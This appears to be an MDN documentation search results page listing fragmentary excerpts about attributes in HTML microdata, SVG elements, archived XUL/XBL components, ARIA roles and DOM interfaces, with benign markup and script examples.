... itemprop name itemprop value itemprop name avatar itemprop director james cameron itemprop genre science fiction itemprop trailer ../movies/avatar-theatrical-trailer.html properties properties have values that are either a string or a url. when a string value is a url, it is expressed using the <a> element and its href
attribute, the <img> element and its src
attribute, or other elements that link to or embed external resources. three properties with values that are strings <div itemscope> <p>my name is <span itemprop="name">neil</span>.</p> <p>my band is called <span itemprop="band">four parts water</span>.</p> <p>i am <span itemprop="nationality">british</span>.</p> </div> one property, "image", whose va...
... an item with a property whose value is a product id the id is not human-friendly, so the product's name is used the human-visible text instead of the id. <h1 itemscope> <data itemprop="product-id" value="9678aou879">the inst...
...And 9 more matches
<a> - SVG: Scalable Vector Graphics
ed { cursor: pointer; } svg|a text, text svg|a { fill: blue; /* even for text, svg uses fill over color */ text-decoration: underline; } svg|a:hover, svg|a:active { outline: dotted 1px blue; } since this element shares its tag name with html's <a> element, selecting a with css or queryselector may apply to the wrong kind of element. try the @namespace rule to distinguish the two.
attributes download instructs browsers to download a url instead of navigating to it, so the user will be prompted to save it as a local file. value type: <string> ; default value: none; animatable: no href the url or url fragment the hyperlink points to. value type: <url> ; default value: none; animatable: yes hreflang the human language of the url or url fragment that the hyperlink points to.
...type: _self|_parent|_top|_blank|<name> ; default value: _self; animatable: yes type a mime type for the linked url. value type: <string> ; default value: none; animatable: yes xlink:href deprecated since svg 2 the url or url fragment that the hyperlink points to. may be required for backwards compatibility for older browsers. ...
...|_top|_blank|<name> ; default value: _self; animatable: yes type a mime type for the linked url. value type: <string> ; default value: none; animatable: yes xlink:href deprecated since svg 2 the url or url fragment that the hyperlink points to. may be required for backwards compatibility for older browsers. ...
...And 9 more matches
<ellipse> - SVG: Scalable Vector Graphics
the <ellipse> element is an svg basic shape, used to create ellipses based on a center coordinate, and both their x and y radius. note: ellipses are unable to specify the exact orientation of the ellipse (if, for example, you wanted to draw an ellipse tilted at a 45 degree angle), but it can be rotated by using the transform
attribute. html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg>
attributes cx the x position of the ellipse. value type: <length>|<percentage> ; default value: 0; animatable: yes cy the y position of the ellipse. value type: <length>|<percentage> ; default value: 0; animatable: yes rx the radius of the ellipse on the x axis. value type: auto|<length>|<percentag...
...alue: 0; animatable: yes cy the y position of the ellipse. value type: <length>|<percentage> ; default value: 0; animatable: yes rx the radius of the ellipse on the x axis. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes ry the radius of the ellipse on the y axis. ...
...e> ; default value: auto; animatable: yes ry the radius of the ellipse on the y axis. value type: auto|<length>|<percentage> ; default value: auto; animatable: yes pathlength this
attribute lets specify the total length for the path, in user units. value type: <number> ; default value: none; animatable: yes note: starting with svg2 cx, cy, rx and ry are geometry properties, meaning those
attributes can also be used as css properties for that element. ...
...And 9 more matches
<polygon> - SVG: Scalable Vector Graphics
, see the <polyline> element. ...
...t. ...
...0,25 50,75 100,0" /> <!-- example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg>
attributes points this
attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon. value type: <number>+ ; default value: ""; animatable: yes pathlength this
attribute lets specify the total length for the path, in user units. ...
...And 9 more matches
Tabbed browser - Archive of obsolete content
"nsisessionstore"); // create new tab, but don't load the content. var url = "https://developer.mozilla.org"; var tab = gbrowser.addtab(null, {relatedtocurrent: true}); gsessionstore.settabstate(tab, json.stringify({ entries: [ { title: url } ], usertypedvalue: url, usertypedclear: 2, lastaccessed: tab.lastaccessed, index: 1, hidden: false,
attributes: {}, image: null })); reusing tabs rather than open a new browser or new tab each and every time one is needed, it is good practice to try to re-use an existing tab which already displays the desired url--if one is already open. following this practice minimizes the proliferation of tabs and browsers created by your extension. reusing by url/uri a common feature found in many extensions i...
...null, null, null, null); } else { // no browser windows are open, so open a new one. window.open(url); } } } reusing by other criteria sometimes you want to reuse a previously-opened tab regardless of which url/uri it displays. this assumes the tab is opened by your extension, not by some other browser component. ...
...y other criteria sometimes you want to reuse a previously-opened tab regardless of which url/uri it displays. this assumes the tab is opened by your extension, not by some other browser component. we can do re-use an arbitrary tab by attaching a custom
attribute to it when we first open it. later, when we want to re-use that tab, we iterate over all open tabs looking for one which has our custom
attribute. if such a tab exists, we change its url/uri and focus/select it. ...
...And 8 more matches
Anonymous Content - Archive of obsolete content
as follows: <binding id="fileupload"> <content> <html:input type="text"/> <html:input type="button"/> </content> </binding> because this content is not visible to its parent element, it is said to be anonymous content. scoping and access using the dom when a binding is attached and certain conditions are met, the children of the binding's content element are cloned. elements and
attributes in the xbl namespace are never cloned. for content generated underneath the bound element, the topmost nodes' parentnode pointers are set to the bound element. when anonymous content elements are built above the bound element, the topmost elements' parentnode pointers are set to the bound element's parentnode. all anonymous nodes' ownerdocument pointers are set to the bound document at the time ...
...er to their explicit parents, but explicit parents have no knowledge of their anonymous children. the anonymous content is not accessible via the childnodes list for the bound element, nor is it accessible using firstchild/nextsibling to iterate over the children of the bound element. the anonymous content is accessible only through special methods like getanonymousnodes and getanonymouselementby
attribute. anonymous content introduces the concept of scope to nodes within a document. because anonymous content elements can also have bindings attached that generate their own anonymous content, this scoping can be taken to an arbitrary level of nesting. explicit content is said to be at the document-level scope. anonymous content nodes are in their own binding-level scopes. binding scopes are determ...
...und element has no explicit children. assuming that all explicit children have valid insertion points, the anonymous content is generated underneath the bound element. the binding responsible for the generation is referred to as the primary generating binding. whenever the primary generating binding changes on a bound element, all anonymous nodes in the scope of the bound element are destroyed.
attribute forwarding
attributes on anonymous content elements can be tied to
attributes on the bound element. whenever the
attribute is set or removed on the bound element, the corresponding
attribute on the anonymous content is also set or removed. on any anonymous content element in a template, an inherits
attribute can be used to specify a comma-separated list of
attributes that should be inherited. at...
...And 8 more matches
findbar - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] in gecko 1.9, the findbar widget moved into toolkit, so it's available to any xul application, as well as extensions. for example, the standard findbar in firefox 3.5 looks like this on the mac: you may attach a findbar to a particular browser element by either setting the findbar's browserid
attribute to the id of the browser element before the findbar element is bound, or by setting the findbar's browser property to the browser element itself. ...
...s available to any xul application, as well as extensions. for example, the standard findbar in firefox 3.5 looks like this on the mac: you may attach a findbar to a particular browser element by either setting the findbar's browserid
attribute to the id of the browser element before the findbar element is bound, or by setting the findbar's browser property to the browser element itself. ...
... you should use the browser property to get and set this value from a script. findnextaccesskey type: string the access key for the "find next" toolbar button in the findbar. ...
...And 8 more matches
Introduction to XUL - Archive of obsolete content
those for writing an xml document, a description of which we will leave to other excellent xml documentation which we assume must exist but have never seen. this document will concentrate on xul-specific features. a word on case and namespaces, and filetypes xml is of course case sensitive. xul is equally so. our current code tends not to be strict about enforcing this, especially for tags and
attributes in the html namespace. this will change: tags and
attributes will, as a rule, always be lower case as suggested in the xhtml working draft. mozilla gives a special meaning to xul files; it expects to find ui descriptions within. for this reason, we've defined a mime type "text/xul" mapped to files with the extension ".xul". (for standards purposes, we will probably need to change the the mime t...
...n general, you will want to store xul in *.xul files. a xul file can contain xml elements and html elements, as well as special elements unique to xul: xul elements. namespace declarations for xul (and html, if html elements are used) must be included in the file. namespaces must be treated carefully. correct namespace usage dictates that the namespace be used only for the tag, not in individual
attributes. rare exceptions to this rule are bugs. xul file preamble xul is xml, and a good xul file begins with the standard xml version and doctype statements. since xml has no implicit display semantics, there must always be associated stylesheets. mozilla includes a standard stylesheet, "xul.css". you can load as many style sheets as you wish using repeated processing directives, although you should...
... namespace. <html:script type="application/javascript"> // dialog initialization code function initwindow() { var checkbox = document.getelementbyid("remember"); if (checkbox) checkbox.checked = true; } </html:script> javascript can be referenced as in html documents: as onclick handlers and the like. see individual widget documentation referenced at the index for a list of
attributes accepting javascript values. javascript is most safely kept in a separate file and included in the xul file <html:script language="javascript" src="our.js"/> or relegated to the contents of a cdata section, to prevent the xml parser from choking on javascript which may look like xml content (a < character, for instance.) <html:script type="application/javascript"> <![cdata[ function l...
...And 8 more matches
Simple Query Syntax - Archive of obsolete content
.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) the numbers are used here for the variable names, but they are really just randomly generated so you can't refer to them in any way. the member data, or results, are held in the variable represented here by '?2'. three matches have been found so the content will be duplicated three times. there are several
attributes in the example xul content above that have values prefixed with 'rdf:'. since you can't declare variables in the simple syntax, a different way is used to grab rdf data. the 'rdf:' prefix means look up a predicate pointing out of the node for that result (the child or member node). for example, the label's value
attribute has a value of rdf:http://purl.org/dc/elements/1.1/title'. this means look...
... data. the 'rdf:' prefix means look up a predicate pointing out of the node for that result (the child or member node). for example, the label's value
attribute has a value of rdf:http://purl.org/dc/elements/1.1/title'. this means look up the value of the predicate http://purl.org/dc/elements/1.1/title' pointing out of the current result. of course, it should be obvious that this causes the value
attribute to be set to the photo's title. you can get other predicates in the same way, just by using the predicate uri and prefixing it with 'rdf:'. you can also combine two in one
attribute by separating them with a space or a caret (^) just as you can with the full syntax. for example: <label value="rdf:http://purl.org/dc/elements/1.1/title http://www.xulplanet.com/rdf/country"/> the 'rdf:' form is re...
...ou can with the full syntax. for example: <label value="rdf:http://purl.org/dc/elements/1.1/title http://www.xulplanet.com/rdf/country"/> the 'rdf:' form is really equivalent to the <binding> tag in the full syntax. the subject of the binding is the result member resource, the predicate is the string that comes after 'rdf:' and the object isn't necessary as the value is replaced directly in the
attribute. as with bindings, the value is not required to match, so the data doesn't have to exist in the rdf graph. if one photo doesn't have a title, it will be replaced with an empty string. the special value 'rdf:*' means the uri of the result resource, rather than referring to a predicate. it would be equivalent to ?photo variable in this example if the full syntax was used. you can see in the example...
...And 8 more matches
Document Object Model - Archive of obsolete content
or html, xml and xul documents respectively. obviously, it is this latter type of document used for xul. the three document types are very similar, in fact they all share the same base implementation. however, there are a few functions that are specific to one document type or the other. retrieving elements the most common method to retrieve an element in a document is to give the element an id
attribute and the use the document's getelementbyid() method. we've added the id
attribute to a number of elements in the find file dialog. for example, we could get the state of a check box by using the code below: var state = document.getelementbyid('casecheck').checked; the value casecheck corresponds to the id of the case sensitive checkbox. once we have an indication of whether it is checked or not...
.... we'll need to get the text in the input field for example. our find files example it doesn't make sense to have the progress bar and the dummy tree data displayed when the find files dialog is first displayed. these were added so that we could see them. let's take them out now and have them displayed when the find button is pressed. first, we need to make them initially invisible. the hidden
attribute is used to control whether an element is visible or not. we'll change the progress meter so that its initially hidden. also, we'll add an id
attribute so that we can refer to it in a script to show and hide it. while we're at it, let's also hide the splitter and results tree as we only need to show them after a search is performed. <tree id="results" hidden="true" flex="1"> . . . <splitte...
...fer to it in a script to show and hide it. while we're at it, let's also hide the splitter and results tree as we only need to show them after a search is performed. <tree id="results" hidden="true" flex="1"> . . . <splitter id="splitbar" resizeafter="grow" hidden="true"/> <hbox> <progressmeter id="progmeter" value="50%" style="margin: 4px;" hidden="true"/> we've added the hidden
attribute and set the value to true. this causes the element to be hidden when it first appears. next, let's add a function that is called when the find button is pressed. we'll put scripts in a separate file findfile.js. in the last section, we added the script element in the xul file. if you haven't done this, do that now, as shown below. an oncommand handler will also be added to the find button. <scr...
...And 8 more matches
Trees - Archive of obsolete content
define the columns to be displayed in the tree. tree this is the outer element of a tree. treecols this element is a placeholder for a set of treecol elements. treecol this is used to declare a column of the tree. by using this element, you can specify additional information about how the data in the columns are sorted and if the user can resize the columns. you should always place an id
attribute on a column, as mozilla uses the ids to identify the columns when rearranging and hiding them. this is no longer required in mozilla 1.8 and later, but it is still a good idea to use ids on columns. treechildren this contains the main body of the tree where the individual rows of data will be displayed. example tree with two columns example 1 : source view <tree flex="1"> <treecols> ...
... into rows. the columns are specified using the treecols tag. you may place as many columns as you wish in a tree. as with listboxes, a header row will appear with column labels. a drop-down menu will appear in the upper-right corner of the tree, which the user may use to show and hide individual columns. each column is created with a treecol element. you can set the header label using the label
attribute. you may also want to make the columns flexible if your tree is flexible, so that the columns stretch as the tree does. in this example, the second column will be approximately twice as wide as the first column. all of the columns should be placed directly inside a treecols element. in this case we haven't specified a view to supply the tree's data, so we'll only see column headers and an empty ...
...t any data to display. since the tree has been marked as flexible, the body will stretch to fit the available space. making a tree flexible is quite commonly done, as it is often the case that the data in the tree is the most significant information displayed, so it makes sense to make the tree grow to fit. ...
...And 8 more matches
command - Archive of obsolete content
it will be called no matter how it is invoked by the user. in addition, disabling the command will automatically disable the menu items and keyboard shortcuts. commands are identified by their id. if you include the script chrome://global/content/globaloverlay.js in your window, you can use the function godocommand function to invoke the command. ...
...it will be called no matter how it is invoked by the user. in addition, disabling the command will automatically disable the menu items and keyboard shortcuts. commands are identified by their id. if you include the script chrome://global/content/globaloverlay.js in your window, you can use the function godocommand function to invoke the command. ...
... commands are identified by their id. if you include the script chrome://global/content/globaloverlay.js in your window, you can use the function godocommand function to invoke the command. using this function has the advantage that the command will be sent to the part of the ui which will respond to it. typically, this will be the currently focused element. ...
...And 8 more matches
content - Archive of obsolete content
la pregunta en una regla debería enlazar a sólo a un elemento del contenido. los contenidos deberían tener al atributo uri . Ésto se utiliza para vincular una variable a un nodo de contenido cuando se emparejan. cuando use un árbol con los atributos flags ("banderas"), establezca dont-build-content, ("no almacenar contenido"), use treeitem en su lugar. para más información, se encuentra disponible el tutorial xul. ...
... tag type: tag name this may be set to a tag name. if set, the conditions will only match if the template builder is parsing content for an element directly inside this tag. for example, by using a value of treechildren, the condition will only match when placing elements directly inside a treechildren tag. thus, nested elements will not match because they are directly inside a treeitem. ...
... elements will not match because they are directly inside a treeitem. this
attribute is useful to provide different rules for outer and inner elements. uri type: ? ...
...And 8 more matches
preferences - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] overview <preferences> is a container for <preference> elements. it's supposed to be a child of <prefpane> element. <preferences> element should contain one or more <preference> elements. note: it's not clear which of the following methods and properties are public. examples <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> <preference id="pref_two" name="extensions.myextension.two" type="string"/> ... etc ... </preferences>
attributes these ought to be readonly; three of these could be merged into a single member
attribute nsiprefservice service; the preferences service.
attribute nsiprefbranch rootbranch; the root prefs branch. attribut...
...ef_two" name="extensions.myextension.two" type="string"/> ... etc ... </preferences>
attributes these ought to be readonly; three of these could be merged into a single member
attribute nsiprefservice service; the preferences service.
attribute nsiprefbranch rootbranch; the root prefs branch.
attribute nsiprefbranch defaultbranch; the root branch of the tree with default values.
attribute nsiprefbranch2 rootbranchinternal; the root prefs branch (nsiprefbranch2). inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mouseth...
..., left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods void firechangedevent(in domelement preference); creates and dispatches a changed (non-bubbling) event to the specified preference element. also executes code specified in onchanged
attribute of the element. see also the description of change event of <preference>. void observe(in nsisupports asubject, in string atopic, in wstring adata); nsiobserver method used internally to react to changes to preferences listed as children of this element. inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, foc...
...And 8 more matches
treecell - Archive of obsolete content
also useful for disabling editing of individual treecells. when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell. ...
...also useful for disabling editing of individual treecells. when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell. ...
...also useful for disabling editing of individual treecells. when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell. ...
...And 8 more matches
treecol - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a column of a tree. it displays the column header and holds the size and other information about the column. you can also place splitter elements between the columns to allow column resizing. you should always place an id
attribute on a treecol element to ensure that the column positioning is handled properly. more information is available in the xul tutorial.
attributes crop, cycler, dragging, editable, fixed, hidden, hideheader, ignoreincolumnpicker, label, primary, sort, sortactive, sortdirection, src, type, width properties accessibletype style classes treecol-image examples this example shows a checkbox in the first column, requires the style below. <tree flex="1" editable=...
...ailable in firefox 1, 2, and 3 on mac os x, so you should specify a url to an image in your extension or elsewhere. */ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } for example: create a css file. copy and paste the code above and link the css file to your xul file. reload the page to see the checkbox. if you want, you can also style the tree using css.
attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop
attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side i...
..., the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or the maxwidth
attribute) to override this size. for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } cycler type: boolean if true, then the column is a cycler column. in the case, clicking on a cell in the column will alternate its state between on and off. this is used, for example, in...
...And 8 more matches
calICalendarView - Archive of obsolete content
summary an object implementing calicalendarview is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a visual representation of calievent and calitodo objects. because of this close association between methods and
attributes on the one hand, and content on the other, calicalendarview implementations are particularly well suited to xbl. ...
...arview implementations are particularly well suited to xbl. there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes. in the vast majority of cases, the dom corresponding to an implementation of calicalendarview will be rather complex. this explains the need for the fairly large list off
attributes and methods that must be implemented, so that outside code can be able to gain a decent picture of the current state of those nodes. it should be noted, however, that the methods and
attributes implemented by a calicalendarview need not behave in any predictable fashion. for instance, when the showdate method of the the calendar-multiday-view (an implementation of this interface) will sometimes ...
...it also fueled the development, however, of the more predictable, but less flexible calidecoratedview, which usually contains an embedded calicalendarview. calendar/base/public/calicalendarview.idlscriptable please add a summary to this article. ...
...And 8 more matches
Processing XML with E4X - Archive of obsolete content
4x does not provide a direct mapping from xml to native javascript objects; just the illusion of one. it is possible to interpolate variables into an xml literal to create an element name (or to create content). ...
...ar text = "here's some text"; var doc = <{h}><body>{text}</body></{h}>; alert(doc.toxmlstring()); // gives <html> <body>here's some text</body> </html> working with
attributes xml literal syntax has a significant advantage over the xml constructor when you need to create markup dynamically. with e4x it is easy to embed dynamic values in markup. variables and expressions can be used to create
attribute values by simply wrapping them with braces ({}) and omitting quotation marks that would normally go around an
attribute value, as the following example illustrates: var a = 2; var b = <foo bar={a}>"hi"</foo>; upon execution the variable is evaluated and quotes are automatically added where appropriate. the preceding example would result in an xml object which looks like this: <foo bar="2">"h...
...ply wrapping them with braces ({}) and omitting quotation marks that would normally go around an
attribute value, as the following example illustrates: var a = 2; var b = <foo bar={a}>"hi"</foo>; upon execution the variable is evaluated and quotes are automatically added where appropriate. the preceding example would result in an xml object which looks like this: <foo bar="2">"hi"</foo>. in
attribute substitution, quotation marks are escaped as " while apostrophes are handled normally. var b = 'he said "don\'t go there."'; var el = <foo a={b}/>; alert(el.toxmlstring()); // gives: <foo a="he said "don't go there.""/> less than and ampersand signs are escaped into their entity equivalents. since a greater than sign is not escaped, it is possible to get an xml error if the cdat...
...And 8 more matches
XForms Input Element - Archive of obsolete content
the default value is 'false'. ...
...the default value is 'false'. ...
...resented by the following widgets for the spcified data types (or types derived from these data types): text field - the default widget when no type is specified or the data is of type xsd:string (xhtml/xul) checkbox - used for xsd:boolean instance data. (xhtml/xul) datepicker - used to represent data of type xsd:date (xhtml/xul) calendar - used to represent data of type xsd:date when appearance
attribute also has the value 'full' (xhtml/xul) month list - used to represent data of type xsd:gmonth (xhtml only) days list - used to represent data of type xsd:gday (xhtml only) number field - used to represent data of numeric type (fx 3.0 only, xul only) more detail about each of these widgets follows below. text field displaying a text field is the default presentation. xforms inputs are most often u...
...And 8 more matches
Other form controls - Learn web development
ular single line text field is that users are allowed to include hard line breaks (i.e. pressing return) that will be included when the data is submitted. <textarea> also takes a closing tag, and any default text you want it to contain should be put between the opening and closing tags. in contrast, the <input> is an empty element with no closing tag — any default value is put inside the value
attribute. note that even though you can put anything inside a <textarea> element (including other html elements, css, and javascript), because of its nature, it is all rendered as if it was plain text content. (using contenteditable on non-form controls provides an api for capturing html/"rich" content instead of plain text). visually, the text entered wraps and the form control is by default resizable.
...eenshots show default, focused, and disabled <textarea> elements in firefox 71 and safari 13 on macos, and edge 18, yandex 14, firefox 71 and chrome 79 on windows 10. note: you can find a slightly more interesting example of text area usage in the example we put together in the first article of the series (see the source code also). controlling multi-line rendering <textarea> accepts three
attributes to control its rendering across several lines: cols specifies the visible width (columns) of the text control, measured in average character widths. this is effectively the starting width, as it can be changed by resizing the <textarea>, and overriden using css. the default value if none is specified is 20. rows specifies the number of visible text rows for the control. this is effectively...
...umber of visible text rows for the control. this is effectively the starting height, as it can be changed by resizing the <textarea>, and overriden using css. the default value if none is specified is 2. wrap specifies how the control wraps text. the values are soft (the default value), which means the text submitted is not wrapped but the text rendered by the browser is wrapped; hard (the cols
attribute must be specified when using this value), which means both the submitted and rendered texts are wrapped, and off, which stops wrapping. controlling textarea resizability the ability to resize a <textarea> is controlled with the css resize property. its possible values are: both: the default — allows resizing horizontally and vertically. horizontal: allows resizing only horizontally. ver...
...And 8 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
next, we created the <tbody> element, which is a child of the <table> element. next, we used a loop to create the <tr> elements, which are children of the <tbody> element. for each <tr> element, we used a loop to create the <td> elemen...
... next, we created the <tbody> element, which is a child of the <table> element. next, we used a loop to create the <tr> elements, which are children of the <tbody> element. for each <tr> element, we used a loop to create the <td> elements, which are children of <tr> e...
...s of the body: mybodyelements = mybody.getelementsbytagname("p"); finally, we get the second item from the list of p elements via myp = mybodyelements[1]; once you have gotten the dom object for an html element, you can set its properties. for example, if you want to set the style background color property, you just add: myp.style.background = "rgb(255,0,0)"; // setting inline style
attribute creating textnodes with document.createtextnode("..") use the document object to invoke the createtextnode method and create your text node. you just need to pass the text content. the return value is an object that represents the text node. mytextnode = document.createtextnode("world"); this means that you have created a node of the type text_node (a piece of text) whose text data is "worl...
...And 8 more matches
HTMLMediaElement - Web APIs
htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its ancestors htmlelement, element, node, and eventtarget. htmlmediaelement.audiotracks a audiotracklist that lists the audiotrack objects contained in the element. htmlmediaelement.autoplay a boolean that reflects the autoplay html
attribute, indicating whether playback should automatically begin as soon as enough media is available to do so without interruption. note: automatically playing audio when the user doesn't expect or desire it is a poor user experience and should be avoided in most cases, though there are exceptions. see the autoplay guide for media and web audio apis for more information. keep in mind that browsers may ...
...red read only returns a timeranges object that indicates the ranges of the media source that the browser has buffered (if any) at the moment the buffered property is accessed. htmlmediaelement.controller is a mediacontroller object that represents the media controller assigned to the element, or null if none is assigned. htmlmediaelement.controls is a boolean that reflects the controls html
attribute, indicating whether user interface items for controlling the resource should be displayed. htmlmediaelement.controlslist read only returns a domtokenlist that helps the user agent select what controls to show on the media element whenever the user agent shows its own set of controls. the domtokenlist takes one or more of three possible values: nodownload, nofullscreen, and noremoteplayback. h...
...element.currenttime a double-precision floating-point value indicating the current playback time in seconds; if the media has not started to play and has not been seeked, this value is the media's initial playback time. setting this value seeks the media to the new time. the time is specified relative to the media's timeline. htmlmediaelement.defaultmuted a boolean that reflects the muted html
attribute, which indicates whether the media element's audio output should be muted by default. htmlmediaelement.defaultplaybackrate a double indicating the default playback rate for the media. htmlmediaelement.disableremoteplayback a boolean that sets or returns the remote playback state, indicating whether the media element is allowed to have a remote playback ui. htmlmediaelement.duration read only...
...And 8 more matches
ARIA: switch role - Accessibility
assistive technologies may choose to represent switch widgets with a specialized presentation to reflect t...
...on the aria switch role is identical to the checkbox role, except instead of being "checked" or "unchecked", it is either "on" and "off." like the checkbox role, the aria-checked
attribute is required. the two possible values are true and false. unlike a <checkbox> or role="checkbox", there is no indeterminate or mixed state. the switch role does not support the value mixed for the aria-checked
attribute; assigning a value of mixed to a switch instead sets the value to false. assistive technologies may choose to represent switch widgets with a specialized presentation to reflect the notion of an on/off switch. since a switch is an interactive control, it must be focusable and keyboard accessible. if the role is applied to a non-focusable element, use the tabindex
attribute to change this. the e...
...pecialized presentation to reflect the notion of an on/off switch. since a switch is an interactive control, it must be focusable and keyboard accessible. if the role is applied to a non-focusable element, use the tabindex
attribute to change this. the expected keyboard shortcut for toggling the value of a switch is the space key. the developer is required to change the value of the aria-checked
attribute dynamically when the switch is toggled. associated aria roles, states, and properties aria-checked
attribute the aria-checked
attribute is required when using the switch role, as it represents the current state of the widget that the switch role is applied to. a value of true represents the "on" state; false represents the "off" state; a value of mixed is not supported by the switch role, an...
...And 8 more matches
ARIA: textbox role - Accessibility
nds an accessible textbox event to assistive technologies, which can then notify the user about it. the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text". to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true". including the html contenteditable
attribute ensures the text node is editable. <!-- simple text input field --> <div id="txtboxlabel">enter your five-digit zipcode</div> <div role="textbox" contenteditable="true" aria-placeholder="5-digit zipcode" aria-labelledby="txtboxlabel"></div> <!-- multi-line text area --> <div id="txtboxmultilinelabel">enter the tags for the article</div> <div role="textbox" contenteditable="true" aria-multiline=...
...ur five-digit zipcode</label> <input type="text" placeholder="5-digit zipcode" id="txtbox"/> <!-- multi-line text area --> <label for="txtboxmultiline">enter the tags for the article</label> <textarea id="txtboxmultiline" required></textarea> where a text field is read-only, indicated this by setting aria-readonly="true" on the element. associated aria properties aria-activedescendent
attribute taking as it's value the id of is either a descendant of the element with dom focus or is a logical descendant as indicated by the aria-owns
attribute, it indicates when that element has focus, when it is part of a composite widget such as a combobox. for example, in a combobox, focus may remain on the textbox while the value of aria-activedescendant on the textbox element refers to a descendant...
...it supports the following values: inline: predicted text is inserted after the caret. ...
...And 8 more matches
An overview of accessible web applications and widgets - Accessibility
er 1 content goes here</div> <div id="ch2panel">chapter 2 content goes here</div> <div id="quizpanel">quiz content goes here</div> </div> example 2: how the tabs widget might be styled visually. users might recognize it visually, but there are no machine-readable semantics for an assistive technology. aria aria enables developers to describe their widgets in more detail by adding special
attributes to the markup. designed to fill the gap between standard html tags and the desktop-style controls found in dynamic web applications, aria provides roles and states that describe the behavior of most familiar ui widgets. many of these were later added in html5, and developers should always prefer using the correct semantic html element over using aria. the aria specification is split up into ...
... to fill the gap between standard html tags and the desktop-style controls found in dynamic web applications, aria provides roles and states that describe the behavior of most familiar ui widgets. many of these were later added in html5, and developers should always prefer using the correct semantic html element over using aria. the aria specification is split up into three different types of
attributes: roles, states, and properties. roles describe widgets that aren't otherwise available in html 4, such as sliders, menu bars, tabs, and dialogs. properties describe characteristics of these widgets, such as if they are draggable, have a required element, or have a popup associated with them. states describe the current interaction state of an element, informing the assistive technology if it is ...
...cribe widgets that aren't otherwise available in html 4, such as sliders, menu bars, tabs, and dialogs. properties describe characteristics of these widgets, such as if they are draggable, have a required element, or have a popup associated with them. states describe the current interaction state of an element, informing the assistive technology if it is busy, disabled, selected, or hidden. aria
attributes are interpreted automatically by the browser and translated to the operating system's native accessibility apis. so an element with role="slider" will be controlled in the same way as a native slider is controlled on the operating system. this provides a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can ap...
...And 8 more matches
DOM onevent handlers - Developer guides
orms, and so forth) or non-interactive (such as the base <body> element). events are actions like: being clicked detecting pressed keys getting focus the onevent handler is usually named with the event it reacts to, like onclick, onkeypress, onfocus, etc. you can specify an on<…> event handler for a particular event (such as click) for a given object in different ways: adding an html
attribute named on<eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(event) { … }. an onevent event handler property serves as a placeholder of sorts, to which a single event handler can be assigned. in order to allow multiple handlers to be installed for the same event on a given object, you ...
...processing of the event by calling stoppropagation() on the event object itself. non-element objects event handlers can also be set with properties on non-element objects that generate events, like window, document, xmlhttprequest, and others. ...
...ing stoppropagation() on the event object itself. non-element objects event handlers can also be set with properties on non-element objects that generate events, like window, document, xmlhttprequest, and others. ...
...And 8 more matches
disabled - HTML: Hypertext Markup Language
the boolean disabled
attribute, when present, makes the element not mutable, focusable, or even submitted with the form. the user can neither edit nor focus on the control, nor it's form control descendants. if the disabled
attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. the disabled
attribute is supported by <button>, <command>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>. this boolean disabled
attribute indicates that the user cannot interact with the control or it's descendant controls. ...
... validation. often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. the disabled
attribute is supported by <button>, <command>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>. this boolean disabled
attribute indicates that the user cannot interact with the control or it's descendant controls. if this
attribute is not specified, the control inherits its setting from the containing element, for example fieldset; if there is no containing element with the disabled
attribute set, and the control itself does not have the
attribute, then the control is enabled. if declared on an <optgroup>, the select is still interactive (unless otherwise disabled), but none of the items in the option group are selectable. ...
...itself does not have the
attribute, then the control is enabled. if declared on an <optgroup>, the select is still interactive (unless otherwise disabled), but none of the items in the option group are selectable. note: if a <fieldset> is disabled, the descendant form controls are all disabled, with the exception of form controls within the <legend>. when a supporting element has the disabled
attribute applied, the :disabled pseudo-class also applies to it. conversely, elements that support the disabled
attribute but don't have the
attribute set match the :enabled pseudo-class. this boolean
attribute prevents the user from interacting with the button. ...
...And 8 more matches
